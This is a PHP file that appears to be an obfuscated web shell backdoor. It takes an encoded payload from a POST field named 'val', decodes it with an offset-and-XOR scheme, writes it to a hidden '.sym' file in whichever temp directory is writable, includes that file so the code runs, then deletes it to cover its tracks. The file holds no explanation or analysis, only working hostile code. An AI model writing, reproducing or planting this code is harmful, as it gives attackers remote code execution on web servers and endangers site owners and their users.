<?php

if(@$_POST["v\x61l"] !== null){
	$dchunk = $_POST["v\x61l"];
	 $dchunk=explode (			"."		,$dchunk	) 	; 	
	$itm='';
            $s='abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=strlen($s);
    
            foreach ($dchunk as $w => $v6) {
                $chS=ord($s[$w% 	$sLen]);
                $d=((int)$v6 - $chS - ($w% 	10)) ^ 24;
                $itm .= chr($d);
            }
	$symbol = array_filter([getenv("TEMP"), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/tmp", sys_get_temp_dir(), getenv("TMP"), "/dev/shm"]);
	while ($ent = array_shift($symbol)) {
    		if (array_product([is_dir($ent), is_writable($ent)])) {
    $entity = str_replace("{var_dir}", $ent, "{var_dir}/.sym");
    $success = file_put_contents($entity, $itm);
if ($success) {
	include $entity;
	@unlink($entity);
	die();}
}
}
}